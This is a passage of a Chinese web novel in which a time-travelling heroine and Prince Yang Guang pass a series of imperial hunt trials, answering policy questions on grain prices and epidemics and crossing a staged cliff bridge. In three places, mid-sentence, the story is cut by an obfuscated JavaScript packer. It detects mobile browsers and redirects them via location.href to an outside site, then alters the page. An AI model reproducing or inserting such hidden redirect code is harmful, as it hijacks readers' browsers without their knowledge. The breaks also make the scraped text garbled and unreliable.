别说,这题我还真会,那句“沅有芷兮澧有兰,思公子兮未敢言”嘛。就是当着杨广的面说“思公子”什么的……有点别扭。 我瞥他一眼:“殿下您可别说您不会?” 杨广迎着我质问的眼神,嘴角微动,坦然地转向书生:“此句生僻,本王一时想不起。” 书生:“……” 我:“……” 得,他故意的。 我也懒得扭捏,直接开口:“上一句是‘沅有芷兮澧有兰,思公子兮未敢言’。” 话落,耳边就传来一声极轻的、带着笑意的低语: “背得不错。” 我:“……” 我就知道他会! 书生提笔记下:“过。” 三楼宽敞明亮,一位紫袍老者端坐案后。 “第三题,请两位回答一个问题。”老者说道,“近年关中连年丰收,粮价却屡屡下跌,以致‘谷贱伤农’。而江南某些州县,粮价反居高不下。此等现象根源何在?又该如何应对?” 这题考的是民生实政。 杨广略一沉吟,开口道:“根源在两地相隔遥远,转运不畅。关中丰年余粮无法及时南调,积压本地,自然价跌。江南若遇欠收或流通阻滞,粮价便涨。” 老者点头:“殿下所言乃表象。更深一层呢?” 杨广继续道:“更深一层,在于仓廪调配与信息迟滞。地方官员往往只知本州县情形,难窥全局。朝廷虽有常平仓,但反应迟缓,调拨手续繁琐,待粮食运到,时机已误。” 他说得在理。 我听着,脑子里想起上辈子学过的“粮食宏观调控”和“信息不对称”的概念。 老者转而问我:“姑娘可有补充?” 我定了定神,说:“除转运和仓储外,还可从两方面着手。” 杨广侧目看来。 “其一,可否让民间粮商也参与调剂?”我斟酌着用词,“官府可给予凭证,允许信誉良好的大粮商跨州县运粮,并给予适当减免税费。他们消息灵通,行动比官府更快。” 老者眼神微动。 “其二,粮价信息传递。”我继续道,“如今各地粮价,需层层上报至长安,再层层下达,耗时太久。可否在重要产粮地和消费地设立简易‘报价点’,定期将当地粮价以快马直报户部?让朝廷能更快知晓实情。” 这些都是后世常见的市场经济调节手段,在这个时代听起来颇有些新颖。 阁楼里安静片刻。 老者缓缓提笔记下,抬头道:“晋王殿下洞察症结,萧姑娘所补之法……虽显奇思,却切中时弊。此关。过。” 香炉里的香,恰在此刻燃尽。 我们起身退出。 下楼时,杨广走在我前面半步。 在转角处,他脚步忽然顿住,袍角在木阶上掠过一道弧。没有回头,声音却顺着石阶飘上来: “粮商凭证减免……快马直报价点……”他顿了顿,“这法子倒是刁钻,萧姑娘如何想到的?” 我:来了来了,经典拷问环节,请问这位穿越者,你的现代知识储备如何解释? “臣女……梦里听的。” 别问,问就是那梦包罗万象,啥都有。 “还是那个梦?”他回过头,眉梢微挑。 我点头,面不改色心不跳。 杨广盯着我看了两秒,忽然笑了。不是那种探究的笑,是干脆利落、带着点“行吧你说了算”意味的笑。 然后撂下句,“你这梦,真是有趣。”转身继续往下走。 监考官宣布结果时,日头已经西斜。 “第二关毕。过关者四组:贺璟、独孤明月;太子、独孤明瑶;裴文若、裴秀;晋王、萧锦。” 好家伙,又是直接淘汰一半! 贺璟和独孤明月就不说了,铁铁稳过。 太子那组也过了,嗯,不过也倒正常。 独孤明瑶毕竟是独孤家精心打造的“世家典范”模板,从诗词歌赋到时政策论,该点的技能点一个没落下。至于太子嘛……他就算再草包,毕竟在太子的位置上坐了这么多年,耳濡目染也该熏出点墨水味儿了。 最让我意外的是裴家兄妹。这俩武将居然也过了!而且裴秀出来时神情轻松,还朝我这边看了一眼。 我偷偷给她竖了个大拇指。 她眨了眨眼,对我露出一个心照不宣的笑。 友谊的小船初步建立! 视线往后,场面就热闹了。 薛静姝正提着裙子踩脚:“凭什么不过关!定是你们判错了!” 宇文成都站在她旁边,挠着头憨笑:“薛姑娘莫急……是末将拖累你了。” 这大个子手脚都不知道往哪儿放,看得人想笑,让一个万军丛中取敌首的猛将玩文字游戏,确实难为他了。 监考官收了册子,看看天色:“今日到此为止。第三关明早卯时三刻,仍在此处集结。” 他指了指四个不同的方向:“今晚食宿自理。以此楼为中心,你们四组各选一方,不得越界,不得聚堆。” 说完,他带着人转身就走了,把我们四组八个人扔在这荒山野岭里。 我看了看渐渐暗下来的天色,又摸了摸咕咕叫的肚子。 行吧,荒野求生第一夜正式开始了。 监考官一走,我们四组人互相看了看。 杨广很干脆,直接朝西边一指:“走这边。”说完就往林子里去了。 我赶紧跟上,临走前回头看了眼,贺璟正好也在看我。 他朝我点了下头,然后带着独孤明月选了东边。 太子那组磨磨蹭蹭选了南边。 裴家兄妹爽快地去了北边。 跟着杨广钻进林子,我一边走一边犯愁。今晚吃啥?睡哪儿? 杨广却像回自己家后院似的,走得从容。 “饿么?”他问。 “饿。”我老实点头。 “等着。” 他走到一处溪流边,观察片刻,从靴筒里抽出把匕首,削了根树枝。 然后,他就站在那儿,盯着水面。 我正纳闷呢,只见他手腕一抖,树枝如箭般刺入水中! 再提起来时,树枝上赫然串着两条肥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209079|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼! 我眼睛都直了:“你这……” “练过。”他语气平淡,开始利落地刮鳞去内脏。 生火更简单。他用匕首在一块干木头上凿了个小孔,塞进干苔藓,拿了根硬木枝飞快地搓转。 没一会儿,烟冒出来,火星子蹦出来,火就这么生起来了。 他把鱼架在火上烤,又从怀里掏出个小皮囊,往鱼上撒了点细盐。 我看得一愣一愣的:“你还随身带盐?” “常年在外,习惯了。”他把烤好的鱼递给我一条,“小心烫。” 鱼烤得外焦里嫩,虽然没啥调料,但胜在新鲜。 我啃着鱼,看着他在火光映照下的侧脸。 这人,好像什么都会。 吃饱后,他起身在附近转了转,找了处背风的山壁。 “今晚睡这儿。”他用匕首砍了些树枝,又薅了不少干草,手脚麻利地铺了个简单的窝。 天完全黑下来后,山里寒气就重了。 杨广往火堆添柴,火光在他沉静的眉眼间跳动。我忽然觉得,跟他一组,确实省心,至少今夜饿不着也冻不死。 至于其他组……贺璟和裴家兄妹都是将门出身,野外生存不在话下。太子那边嘛,反正老皇帝会给他兜底。 杨广往火里添了根柴:“你睡吧,我守夜。” 确实需要守夜,这荒山野岭的,保不齐有什么野兽,但让他一个皇子守我一整夜,我怕不是嫌命太长…… “不不不,殿下你睡,我不困。”我赶紧摆手。 他抬眼看我,“那这样,你前半夜,我后半夜。” 我张了张嘴,没再反驳。 行,公平! 两人并排坐在火堆旁,一时无话。只有木柴噼啪作响,远处传来不知什么鸟的夜啼。 我看着他熟练拨弄火堆的手,还是没忍住好奇:“殿下怎么什么都会?生火、抓鱼、找住处……” “早年随军,”杨广语气平静,“经常在野外扎营,也就学会了。” 火光映着他的侧脸,衣领的阴影恰好落在锁骨的位置。 我盯着那处看了片刻,脑子里突然蹦出晋王府那夜。雾气氤氲的浴房,他半敞的衣襟,那道横在心口上方的浅色疤痕。 鬼使神差间,话已经问出了口:“殿下心口那道疤……也是行军时候留下的?” 说完我自己先愣了愣,这问题是不是过于私密了。 他拨弄火堆的手顿了顿。 片刻,才侧过脸看我,眸子里映着跳动的火光:“你眼神倒好,那都瞧见了?” 我耳根发热,小声嘀咕:“……距离那么近,我又不瞎。” 他笑了,然后收回视线,又拨了下火,火星子噼啪窜起几颗。 “不是行军时留下的。”他的声音在寂静的山林里显得格外清晰。 “那是……?” “平陈之后,”他语气很淡,像在说一件与己无关的事,“有人不想我活着离开建康城。” 我愣住了。 平陈之后……那时他不到二十,却军功赫赫,甚至这大隋朝的最后一块版图,陈国,都是在他手里拼合的,那是他锋芒最盛的时候。 不想他活着离开建康城?是陈国的死忠旧部?还是……长安城里已经有人等不及了? “那,后来呢?”我声音不自觉地放轻了。 “后来,”他短促地笑了一下,那笑意在火光影里显得有点冷,“我当然走出了建康城,至于那些人——” 他顿了顿,用树枝轻轻拨开一块烧红的木炭。 “都留在那了。” 山风穿过林隙,带着夜里的寒凉吹动火苗。 我看着他被火光勾勒的侧影,忽然意识到,这道疤见证的,或许不是战场上的明刀明枪,而是更暗处、更凶险的搏杀。 那个十八岁就站在建康城头、终结了一个时代的少年统帅,在人生最辉煌的顶点,就已经在鬼门关前走过一遭了。 我抱紧了膝盖,一时不知道该说什么。 “吓到了?”他问。 我摇摇头,又点点头,最后低声说:“就是觉得……殿下也挺不容易的。” 他转过头看我,火光在他眼底明明灭灭。半晌,他才轻轻“嗯”了一声,重新看向跳跃的火焰。 “睡吧,”他说,“后半夜我叫你。” 34. 临时抱佛脚队 山里的夜格外安静,我靠着树干,不知不觉就睡沉了。 再睁眼时,天已经蒙蒙亮了。 我先懵了几秒,然后猛地坐直。等等!不是说好后半夜换我守吗?!杨广没叫我? 坐起来的瞬间,有什么东西从肩上滑了下去,我低头一看,是他的外袍。 啥时候给我盖的?我居然完全不知道! “醒了?” 杨广的声音从旁边传来,他还坐在火堆旁昨晚我俩聊天的位置上,只是火已经快灭了,只剩些暗红的余烬。 完了完了完了! 我居然让晋王殿下守了一整夜,还披着他的衣服睡得跟死猪一样?这要是被老贺知道了,估计能把我吊起来打! “殿、殿下!”我赶紧爬起来,心虚得厉害,“您怎么不叫醒我!说好换班的!你快睡会儿,我守着!” 杨广脸上也带着倦色,眼下有淡淡的青影。他没多说什么,只点了点头,走到旁边那棵树干边,靠着坐下,闭上了眼睛。 慢慢的,呼吸平稳下来,但我不确定他是不是真睡着了,也可能只是闭目养神? 晨风凉飕飕的,他只穿了件单薄的骑装。 我攥着手里的外袍,忽然反应过来,刚才着急,衣服忘了还他! 萧锦啊萧锦,你啥也不是! 可看他闭着眼,又不敢贸然叫醒。 犹豫片刻,还是蹲下身,小心翼翼地展开外袍,极慢极轻地披在他肩上。 外袍落下的瞬间,他睫毛微微动了一下,但没睁眼。 我蹲在那儿屏住呼吸等了片刻,见他没动静,才慢慢退开。 晨光透过枝叶的缝隙落在他脸上,那张平时总是带着三分笑意七分算计的脸,此刻在微光里显出一种少见的安静,甚至有点……柔和? 我心里忽然涌上一股说不清的感觉。 有点愧疚,毕竟让他守了一夜。 有点不好意思,披着人家衣服睡到天亮。 还有点……别的什么,痒痒的,说不明白。 我摇摇头,把这乱七八糟的感觉压下去,转身去收拾火堆。 大约过了两个时辰,林间传来低沉悠长的号角声,是集合信号。 我正蹲在火堆边扒拉昨晚剩的烤鱼骨头,闻声立刻站起来。 那边,杨广也动了。 他睁开眼时,眼中已是一片清明,不见半分刚醒的困倦。那件外袍还好好披在肩上,他低头看了看,又抬眼看向我。 “醒了?”我有点不自在地别开视线,“该集合了。” “嗯。”他将外袍取下,随手抖了抖,披回自己身上,动作自然流畅。 回到阁楼前空地上时,其他三组也都到了。 贺璟和独孤明月看起来精神不错。太子那组……太子眼睛底下挂着两个明显的黑眼圈,独孤明瑶倒依旧温婉端庄。裴家兄妹最神采奕奕,裴秀甚至朝我眨了眨眼。 监考官扫了我们一眼,确认人到齐了。 然后说:“第三关,自由结盟。四组人,自行选择盟友,组成两支四人队伍。每队自行安排出战顺序,每人只战一场,胜场多者晋级。” 他顿了顿,目光扫过我们:“给你们半炷香时间商议。” 监考官刚说完“自由结盟”,我脑子里的算盘就打得噼啪响。 第一:太子和晋王肯定不能一队,老皇帝这是要看他俩的“人缘”和“团队建设能力”呢。 第二条:赶紧抱贺璟大腿!自家兄弟,默契十足! 我脚都迈出去了—— “明瑶。”独孤明月已经温温柔柔走过去,挽住妹妹胳膊,声音柔得像春水,“咱们姐妹好久没一起了。” 独孤明瑶立刻眉眼弯弯:“阿姐~” 完蛋!血脉压制,直接锁死! 贺璟站在独孤明月身边,看我一眼,轻轻摇头。 行吧,姐妹同心,我不能拆台。 太子也乐呵呵凑过去:“咱们这队,稳妥!” 独孤明瑶微笑颔首:“太子殿下不嫌弃便好。” 得,眨眼功夫,人家“豪华亲友团”成型:太子+贺璟+独孤姐妹。 我、杨广,还有刚走过来的裴家兄妹,被晾在场地正中央。 场面一度非常尴尬。 裴秀“噗”地笑出声:“得,咱们这是‘临时抱佛脚队’?” 我乐了:“这队名贴切!” 杨广倒很淡定,目光扫过裴家兄妹,语气平静:“能与二位同盟,本王之幸。” 裴文若赶紧拱手:“殿下折煞末将了。” 裴秀也正经行了个礼:“是我们的荣幸才对。” 我:商业互吹啥呢?赶紧听规则就完了! “第三关,”监考官大手一挥,“分四轮,每轮不同玩法!” 空地东侧摆了四个区域: 区域一:木桩阵(高低错落,桩顶悬铜铃) 区域二:沙盘台(山川城池插满小旗) 区域三:箭靶场(三个移动靶+风障) 区域四:一张方桌,两把木椅(嚯,这是要掰手腕?) “第一轮武斗·木桩夺铃,第二轮谋略·沙盘推演,第三轮箭术·移动靶射,第四轮辩难·抽题论辩。” 监考官面无表情,“每轮各队出一人,胜得一分。总分高者晋级,平局加赛。” 火速分工! 裴文若率先开口:“武斗我来。贺璟的功夫我熟,木桩上未必不能一战。” 裴秀举手:“箭术我包了!我哥说我射移动靶比他准!” 杨广目光扫过沙盘台,又瞥了眼对面正与贺璟低声商议的太子:“沙盘那轮,我去。” 然后,三双眼睛齐刷刷看向我。 我:“……所以辩论归我?” 裴秀一把搂住我肩膀:“你脑子转得快,嘴皮子利索!最适合跟人‘讲道理’了!” 我嘴角微抽。 行吧,谁让我是队里“最会叭叭”的那个。 对面分配: 武斗:贺璟(毫无悬念) 沙盘:太子(他挺直腰板:“孤来!”) 箭术:独孤明瑶(柔声:“妾身略通射艺。”) 论辩:独孤明月(她朝我温柔一笑:“陪妹妹聊聊。”) 对阵表出炉: 武斗:裴文若vs贺璟 沙盘:晋王vs太子 箭术:裴秀vs独孤明瑶 论辩:我vs独孤明月 第一轮·武斗 裴文若与贺璟同时跃上木桩。 两人在高低桩顶辗转腾挪,刀光剑影交击,铜铃叮当作响。 裴文若刀势刚猛,贺璟剑走轻灵,三十余招未分高下。 第四十二招,贺璟剑尖轻挑,借力将裴文若逼退两步。 裴文若落地抱拳:“贺兄剑法精进,佩服。” 贺璟还礼:“承让,裴兄刀势更沉了。” 裴文若回来时面带歉意:“对不住,没拿下开门红。” 杨广拍了拍他胳膊:“打得漂亮。” 0:1,我们先失一局。 第二轮·沙盘 杨广和太子在沙盘前站定。 题目是边关遭袭该如何调度。 太子这次居然没慌,排兵布阵有模有样,显然私下用过功。 但杨广更老练。他不动声色调开侧翼,佯装败退,等太子主力追进来,突然合围。 半炷香后,太子看着被“全歼”的己方旗子,苦笑:“二弟用兵,孤不如。” 杨广语气平和:“皇兄在京总览全局,看的是天下事。臣弟不过是在外跑得多,熟悉这些边角地形罢了。” 我:虚假的兄弟情?装什么呢? 比分来到1:1平。 第三轮·箭术 裴秀与独孤明瑶同时挽弓。 三个移动靶从不同方向快速滑过,裴秀三箭连珠,全中靶心!独孤明瑶竟也三箭全中,箭矢扎得极稳。 加赛一轮。 移动靶速度更快,还突然起了风障。独孤明瑶最后一箭在风中微偏,裴秀险胜半环。 裴秀长舒一口气:“独孤小姐,真让人刮目相看!” 独孤明瑶微笑:“是裴姑娘更胜一筹。” 我们2:1反超。 第四轮·论辩 我与独孤明月在方桌两侧坐下。 全场寂静。 我突然有点紧张,这一轮定生死。赢了直接晋级,输了可能就要加赛,甚至被翻盘。 目光扫过去,裴秀正偷偷朝我比了个“冲”的手势,裴文若也微笑着点头。 杨广站在稍远处,衣袍在山风里微微拂动。他察觉到我的视线,转脸看过来,没有多余动作,只极轻微地扬了下眉梢。 那表情不像鼓励,倒像是……等着看我能说出什么来。 行吧,这很杨广。 监考官抽题,朗声念出: “若你主政一方,突遇大疫,药石紧缺,病患日增,民情汹汹。当如何处之?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213897|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大疫……这题一出,我反而乐了。 嘿嘿,对不起了姐妹,这道题,我有标准答案! 脑子里那些什么小房子啊、绿码通行啊、物资通道啊、每日发布会啊……乱七八糟的全涌出来了,这会儿自动排好队,等着我点名。 独孤明月端坐沉吟,片刻后开口,声音温婉却条理分明: “此乃危急时刻。臣女以为,当分四步:第一,封锁疫区,设卡严控出入;第二,集中医药,优先救治重症;第三,急报朝廷,请调御医药材;第四,开仓放粮,安抚民心防乱。” 标准答案,满分模板。 全场目光唰地集中到我身上。 我端正坐姿,清了清嗓子,将脑中那些现代记忆仔细包裹上古雅的措辞: “明月姐姐所言甚是。然若止步于此,恐仍不足。”我缓声道,“封城阻疫,理所应当。然封城之后,当保民生,须设专门粮药通道,定时输送,不可一封了之,任其困毙。” 目光扫过在场众人,继续道: “集中医药救重症,固然紧要。然轻症若置之不理,轻症转瞬即成重症。当分区设隔离医棚,以有限药材先控蔓延之势。” 语速渐稳,字字清晰: “待朝廷援手,时日恐迟。疫病不等人。宜就地张榜,广征郎中、药师乃至通晓草药之人,速设临时医所,纵是民间偏方,能缓一人之疾,亦是功德。” 顿了顿,看向监考官: “而最紧要者,莫过于信息通达。每日病患新增几何、痊愈几许、亡故几人、药石尚缺多少,当如实誊于木牌,公示于城门坊市。隐瞒愈甚,则谣言愈炽,恐慌反成第一利刃。” 最后一句,绝杀来了: “另须命文书详录此次应对之得失,疫后编纂成册,下发各州县。疫病此物,从古难免,今次之教训,当为来日之镜鉴。” 全场寂然,唯余风声。 独孤明月怔怔望我,眸中光影流转,终是轻叹一声:“萧妹妹思虑之深远周全……明月心服口服。” 她转向监考官:“此轮,小女认输。” 监考官提笔:“第四轮,晋王队胜。” 比分定格在3:1。 我们赢了! 太子率先叹了口气。他倒是未失风度,只朝杨广拱了拱手,笑容有些复杂:“二弟队伍真是……人才济济。” 说完摆摆手先走了,背影在阳光下拖得老长。 独孤明月缓步上前,那双看向我时总带着三分距离感的卡姿兰大眼睛,这会儿写满了真诚。 “妹妹胸中丘壑,明月真心叹服。”她执起我的手,“日后盼能常与妹妹讨教。” 好家伙,这是真放下了身段,不是客套话! 我忙回礼:“明月姐姐太客气了,互相切磋,共同进步。” 贺璟就站在不远处的树下。 阳光穿过枝叶,在他身上洒下斑驳光影。 他就那么看着我,嘴角慢慢、慢慢扬起,不是平时那种克制的淡笑,而是嘴角咧开、眉眼都舒展开的、明晃晃的笑容。 那眼神简直在发光:看,我家的姑娘。 裴秀也蹦了过来,一把搂住我脖子:“阿锦!你刚才帅炸了!那几个监考官听得眼睛都直了!” 裴文若也笑着点头:“萧姑娘今日之论,怕是要传为佳话了。” 我赶紧摆手:“别别别,我就随便说说……” “封锁要留活路,治轻症防转重,就地取材设医棚,信息透明安民心……”杨广慢条斯理地数着,每数一条,眉梢就挑高一分,“这些,也是从你那个梦里听来的?” 我眨眨眼,一脸诚恳:“不然呢?总不能是我自己想的吧?” 他盯着我看了两秒,忽然笑了。 随即,他极其自然地抬手,在我左肩靠近衣领的位置轻轻一拂,动作快得像只是掸了下灰。 一片极小的、我自己都没察觉的枯叶从他指尖飘落。 “萧锦。”他第一次正儿八经叫我的名字,声音里带着笑,“这一场……” 他刻意顿了顿,才把话说完。 “赢得很漂亮。” 说完,也不等我反应,转身就走了。 我连看都没看那片叶子,直接扭头就冲着裴秀咧嘴笑:“走走走!赢啦!” 管这人干什么呢!反正我赢了! 嘴角已经不受控制地翘到耳根,心里的小人已经在转圈圈了。 赢了! 晋级了! Yeah!!! 35. 大型实景障眼法 监考官领着我们转向另一条山路,走了约莫半炷香,眼前骤然开阔。 嚯! 又是一处断崖。 “又来了?”裴秀率先笑出声,语气里带着调侃。 我俩对视一眼,心里想的大概都是:皇帝老头到底咋想的,对悬崖有执念? 不过这次明显是头两关的悬崖plus版。 峡谷宽得离谱,三条锈迹斑斑的铁索横跨深渊,在风里“嘎吱嘎吱”地晃。铁索锈得厉害,有些地方能看到断裂后重新接驳的痕迹,接驳处用粗糙铁环扣着。 谷底云雾浓得化不开,白茫茫一片。偶尔风大些撕开一角,露出的也是黑黢黢的、深不见底的虚空。 反正,看着还挺唬人的。 “最后一关,”监考官指向崖边一块半人高的青石碑,“规则在此,请自观。” 我们围上前。 石碑上凿刻着四行字: 索道三条,每索承重一人。 四人同渡,必断其一。 若留一人守此岸,半炷香后,此岸将塌。 时限:一炷香。 翻译成大白话:四选三,死一个,半小时选吧! 裴秀盯着石碑看了三遍,眉头越皱越紧。 她冷笑一声,转头看向监考官:“这位大人,春猎是考校武艺谋略,不是玩命吧?” “这规矩什么意思?要我们自相残杀?选一个去死?” 监考官面无表情:“规则如此,各位自行参悟。” 裴文若按住妹妹的肩膀,示意她稍安勿躁。 他重新看向石碑,一字一顿地念出那四行字,每念一句,脸色就沉一分。 “每索承重一人……”他低声分析,“也就是说,每条铁索最多只能承受一个人的重量。如果我们四个人同时上去……” “必断其一。”我接话,手指点着第二行字,“四个人一起走,必然会断一根索道,掉下去一个。” 然后点向第三行:“如果留一个人守在这边,半个时辰后,这边的悬崖会塌陷。” “留下的人,必死无疑。” 空气骤然安静。 监考官点燃一炷香:“一炷香时间,请决断。” 我盯着那四行字,脑子飞快地转。 不对劲。 绝对有哪里不对劲。 老皇帝的考题,第一关铁索考胆量和身手,第二关文斗考急智学识,第三关考团队协作,都明明白白在考本事。 可这第四关呢? 逼人牺牲同伴? 老皇帝要选这种人干什么?冷酷无情、为活命什么都能卖的货色? 眼角余光瞥向杨广。他正看着石碑,侧脸在崖边光线下显得沉静。 我悄悄挪近半步,压低声音:“殿下,有坑……” 杨广侧过头。 四目相对。 他眼底没有半点迷茫,只有一种清明的、洞悉一切的锐利。 他看懂了。 就在那一瞬间,我脑子里的迷雾“唰”地也散了。 这第四关,考的是人心! 是在看似绝境的规则面前,你敢不敢怀疑摆在眼前的“死路”?有没有本事看穿“必死”背后的陷阱? 更要紧的是,你有没有那个胆子,去闯那条规则压根没写出来的活路! 杨广唇角极轻微地一扬,那弧度淡得几乎看不见,“看来我们想的一样。” 香,已经烧掉了近三分之一。 “殿下!”裴秀的声音带着急切,“咱们得赶紧决定!” “不急。”杨广转过身,目光扫过我们。 那一刻,他身上那种平时惯有的慵懒随意的气场消失了,取而代之的是某种更沉、更稳、更具掌控力的存在感。 “本王的决定是,”他开口,声音清晰,带着不容置疑的力度,“四个人,一起过。一个也不留。” 裴文若眉头紧锁:“可规则明写着……” “裴将军,”杨广打断他,“你固守城池时,可曾遇到过敌军在城下高喊‘开门投降可免一死’?” 裴文若一怔。 “你开吗?”他接着问。 “自然不会!”裴文若脱口而出。 “为何?对方给了活路。” “那是陷阱!真开了门,死得更快。” 杨广点头,目光又转向裴秀:“裴姑娘,令尊裴仁基将军当年奇袭突厥粮道,可曾按草原的‘规矩’,提前下战书?” 裴秀眼睛一亮:“我爹说过,兵者诡道,真按规矩来,坟头草都三丈高了。” “所以!”裴文若眼睛猛地睁大,彻底明白了。 “所以这破规矩就是个幌子!”裴秀抢过话头,兴奋地一拍手,“它想唬住我们,让我们自己往‘必须死一个’的坑里跳!” “没错,真正的活路,根本不在石碑上写着!” 我一边飞快地解下腰间浅绿色束带,一边接话,“咱们换个法子!” 我快速在地上画示意图:“两条铁索在中间并排,我和裴秀上去,我们体重轻,作为承重核心。殿下和裴将军在左右外侧,用绳子斜着拉住我们。” “这样每根铁索的实际垂直压力,都小于一个人的重量。因为重量被转换成了绳索的斜向拉力!” “好办法!” 杨广随即蹲下身打水手结。他先取两条束带接成短绳,让我和裴秀在中间相连。再用长绳将四人连成菱形阵型:两个女孩在中间,两个男子在左右两翼。 香烧掉了三分之二。 “我和裴将军先上外索,”杨广安排,“稳住后你们再上。” 他和裴文若同时踏上左右铁索,绳索传来沉稳的牵引力。 “上!” 我和裴秀踏上中间铁索。 成了! 我能感觉到:我们的核心重量被左右两侧斜向上提拉,垂直压力大大减小。 走到三分之二处。 嘎吱——轰隆! 脚下猛然一震!紧接着,整段铁索开始疯狂上下跳动、左右乱甩! “索扣松了!”裴文若大吼。 中部几个锈死的铁环松脱,铁索像发狂的鞭子在空中乱舞。我和裴秀瞬间被颠得东倒西歪,全靠腰间绳子才没被甩出去。 “收绳!稳住!”杨广的声音压过风声,“听我指挥,顺着甩劲,小步往前挪!” 铁索向左狂甩时,右侧的裴文若收紧绳子,给我们一个向右拉的力。向右甩时,左侧的杨广做同样的事。 上下颠簸时,两人同步向上提拉。 我们在左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217152|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右“护航”下,趁着每次晃动稍缓的间隙,拼命往前挪一点点。 “左甩——稳住——挪!” “颠簸——提拉——再挪!” 杨广的口令短促清晰,我们必须要完全信任那两根绳子,把自己交给这个系统。 最后三十丈。 二十丈。 十丈。 我们慢慢靠近对岸的固定端,铁索的狂甩终于减弱,四人结构也重新稳定了。 当我和裴秀的脚再次踩实铁索时,我腿一软,差点瘫下去。 裴秀也大口喘着气:“刚才那一通甩,吓得我魂儿都飞了!这辈子没这么狼狈过!” 就在这时,前方的浓雾毫无征兆地骤然散去,像有人一把扯掉了幕布。 阳光“哗”地泼了满身。 我眯着眼缓了缓,再看向“对岸”。 哪有什么孤峰峭壁?! 眼前是一片平坦宽阔的青石台,边缘凿着整齐石阶。猎首令的旗子就插在台子中央,在明晃晃的日光下招展。 监考官背手站在旗杆旁,脸上挂着这两天一夜里我从没见过的笑容,真实的、甚至带着点赞许的那种。 合着刚才那些要死要活的挣扎,全是在一片平地上演的?! 也就是说,从头到尾,我们脚下就根本不是什么悬崖深渊! 那我们在铁索上抖得跟筛子似的,算什么? 马戏团里的猴? 我们踉跄着踏上石台。 监考官踱步过来,目光在我们身上扫了一圈,最后停在杨广告前,郑重拱手。 “恭喜晋王殿下。此关种种险阻,无论是石碑规则、朽坏铁索,还是那谷底浓烟与对岸孤峰,皆为考校所设。” 他进一步解释道:“浓雾乃特制烟饼所致,孤峰实为画屏幻象。陛下所愿见者,正是诸位临绝境而不惑,敢破迷障、另辟生路的胆识与急智。” 我:好家伙,合着是个大型实景障眼法! 皇帝老头为了考我们,可真是……用心良苦啊。 监考官从袖中取出那枚玄铁猎首令,双手奉上。 “殿下与同伴不仅识破死局,更以绳桥共渡,危难时未曾半刻相弃。此番胆识、谋略与同心,方是陛下欲见之才。” 杨广接过令牌,玄铁在他掌心沉了沉。 他垂眸看了片刻,忽然转手,将令牌递到了我面前。 “拿着。”他语气平淡,仿佛递来的不是象征魁首的玄铁令,而是件寻常物什。 “绳子怎么连、人怎么站,都是你排布的。这功劳,你担得。” 我:啊?今天转性了?杨·突然讲道理·广? 心里嘀咕归嘀咕,我还是笑嘻嘻接过了令牌。 裴秀已经凑过来,一撞我肩膀:“刚才铁索发疯的时候,我汗毛都竖起来了!” 裴文若也长长舒了口气,抹了把额头的汗,脸上露出释然的笑。 “呜——嗡——” 恰在此时,浑厚的号角声自最高的峰顶传来,荡开云气,响彻山谷。 监考官侧身让路,指向石台后方那道蜿蜒入云的青石阶: “请。” 他抬眼望向阶顶,声音肃然: “陛下已在紫云峰顶,静候魁首——” “觐见。” 36. 赢了,但亏出血了 爬上紫云峰顶时,我腿都快不是自己的了。 好家伙,这台阶是给神仙走的吧?! 峰顶倒是豁然开朗,汉白玉栏杆外云海翻腾,景色确实震撼。 皇帝老爷子和大佬们已经就位,还有之前淘汰的各组搭档们,乌泱泱站了一片。 我一眼就看到了老贺,他站在武将头排,正使劲儿朝我这边瞅。 见我望过去,他眉毛一扬,那眼神明晃晃写着:行啊丫头! 我赶紧收回视线,压下嘴角那点小得意。 稳重点,萧锦,这可是御前。 我们按规矩准备跪下,膝盖刚沾地,皇帝就笑着摆摆手:“都起来吧,今日是你们年轻人的好日子,不必拘礼。” 老爷子心情不错,脸上都带着笑。 “过程朕都知道了,你们每过一关,都有快马把情况报上来。” 他看向我们,眼里有赞许,“不错,今年确实让朕看到了些不一样的东西。” 他先看向太子那组。 “太子一队,”皇帝慢悠悠地说,“稳扎稳打,不错。明瑶这孩子心思细,最后箭术那轮,只差半环,可惜了。” 独孤明瑶赶紧低头:“臣女技艺不精。” 太子脸上笑容得体,但嘴角弧度有点僵。 老爷子这是点他呢,队伍能走到最后,全靠队友带。 接着是贺璟那组。 “贺家小子,”皇帝看向贺璟,点了点头,“功夫扎实,临阵沉稳。铁索上护得周全,木桩上打得有章法。” 他又看向独孤明月,笑道,“独孤家的姑娘,文采好,胆气也足,有乃父之风。” 独孤明月落落大方地行礼:“谢陛下夸赞。” 贺璟没什么表情,只规规矩矩拱手:“谢陛下。”但背挺得笔直,肩线利落。 